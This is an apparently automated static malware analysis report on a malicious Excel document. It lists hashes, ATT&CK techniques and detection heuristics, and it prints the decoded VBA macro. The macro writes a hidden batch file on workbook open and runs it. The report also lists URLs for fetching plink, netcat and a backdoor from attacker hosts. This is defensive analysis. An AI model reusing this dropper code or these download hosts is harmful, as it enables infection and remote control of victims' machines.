Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cea68f294d0a21f1…

MALICIOUS

Office (OLE)

51.0 KB Created: 2019-02-09 13:58:57 First seen: 2019-03-10
MD5: 7781c003033ab3034abeb73f9c586939 SHA-1: 53cb977bd14825c5670f71688270cfcbacf82e2b SHA-256: cea68f294d0a21f19d79b2c3eefa762c1c295076c37c6c5b644e84e9a45dd2d2
458 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1105 Ingress Tool Transfer T1566.001 Spearphishing Attachment

The sample contains a Workbook_Open VBA macro that executes a batch script. This script is designed to download and execute multiple files, including plink.exe, mila.ppk, and other executables from the 'verifiche.ddns.net' domain and GitHub. The macro's intent is to download and execute a second-stage payload, as evidenced by the Shell() call and the creation of a temporary batch file. The presence of 'cmd.exe /c powershell -Command ... DownloadFile' strongly indicates an attempt to download and run remote code.

Heuristics 14

  • ClamAV: Doc.Dropper.Agent-6866652-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6866652-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
        Call ExportRangetoFile
        Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\" & ThisWorkbook.Name & ".bat", vbHide)
        'Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\" & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & ".bat", vbHide)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set objFSO = CreateObject("Scripting.FileSystemObject")
        Set objFile = objFSO.CreateTextFile(Environ$("TEMP") & "\" & ThisWorkbook.Name & ".bat")   'Output Path
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Const filebat = "bonifico.bat"
    Private Sub Workbook_Open()
        'MsgBox "ciao"
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        Call ExportRangetoFile
        Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\" & ThisWorkbook.Name & ".bat", vbHide)
        'Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\" & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & ".bat", vbHide)
  • Reference to ShellExecute API high SC_STR_SHELLEXEC
    Reference to ShellExecute API
  • Suspicious cmd.exe invocation with execution flag high SC_STR_CMD
    Suspicious cmd.exe invocation with execution flag
  • Reference to PowerShell high SC_STR_POWERSHELL
    Reference to PowerShell
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND
    Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://github.com/pistacchietto/Win-Python-Backdoor/raw/master/win.bat In document text (OLE body)
    • http://config01.homepc.itIn document text (OLE body)
    • https://github.com/pistacchietto/Win-Python-Backdoor/raw/masterIn document text (OLE body)
    • https://github.com/pistacchietto/Win-Python-Backdoor/raw/master/wup.exeIn document text (OLE body)
    • http://config01.homepc.itJIn document text (OLE body)
    • https://github.com/pistacchietto/Win-Python-Backdoor/raw/master/In document text (OLE body)
    • http://verifiche.ddns.net/plink.exeIn macro / runtime command snippet
    • http://verifiche.ddns.net/mila.ppkIn document text (OLE body)
    • http://verifiche.ddns.net/win/get.batIn document text (OLE body)
    • http://verifiche.ddns.net/win/nc64.exeIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2104 bytes
SHA-256: 98879da901a3cd58f6061fa297c86acdb132f225387e23180445df62f0d49a30
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const filebat = "bonifico.bat"
Private Sub Workbook_Open()
    'MsgBox "ciao"
    Call ExportRangetoFile
    Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\" & ThisWorkbook.Name & ".bat", vbHide)
    'Call Shell(Environ$("COMSPEC") & " /C " & Environ$("TEMP") & "\" & Left(ThisWorkbook.Name, Len(ThisWorkbook.Name) - 4) & ".bat", vbHide)
End Sub
Sub ExportRangetoFile()

    Dim ColumnNum: ColumnNum = 10   ' Column K
    Dim RowNum: RowNum = 1          ' Row to start on
    Dim objFSO, objFile

    Set objFSO = CreateObject("Scripting.FileSystemObject")
    Set objFile = objFSO.CreateTextFile(Environ$("TEMP") & "\" & ThisWorkbook.Name & ".bat")   'Output Path

    Dim OutputString: OutputString = ""

    Do
        OutputString = OutputString & Sheet1.Cells(RowNum, ColumnNum).Value
        'OutputString = OutputString & Replace(Sheet1.Cells(RowNum, ColumnNum).Value, Chr(10), vbNewLine) & vbNewLine
        RowNum = RowNum + 1
    Loop Until IsEmpty(Cells(RowNum, ColumnNum))
    OutputString = OutputString & ThisWorkbook.Name & ".bat" & vbNewLine
    objFile.Write (OutputString)

    Set objFile = Nothing
    Set objFSO = Nothing

End Sub

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True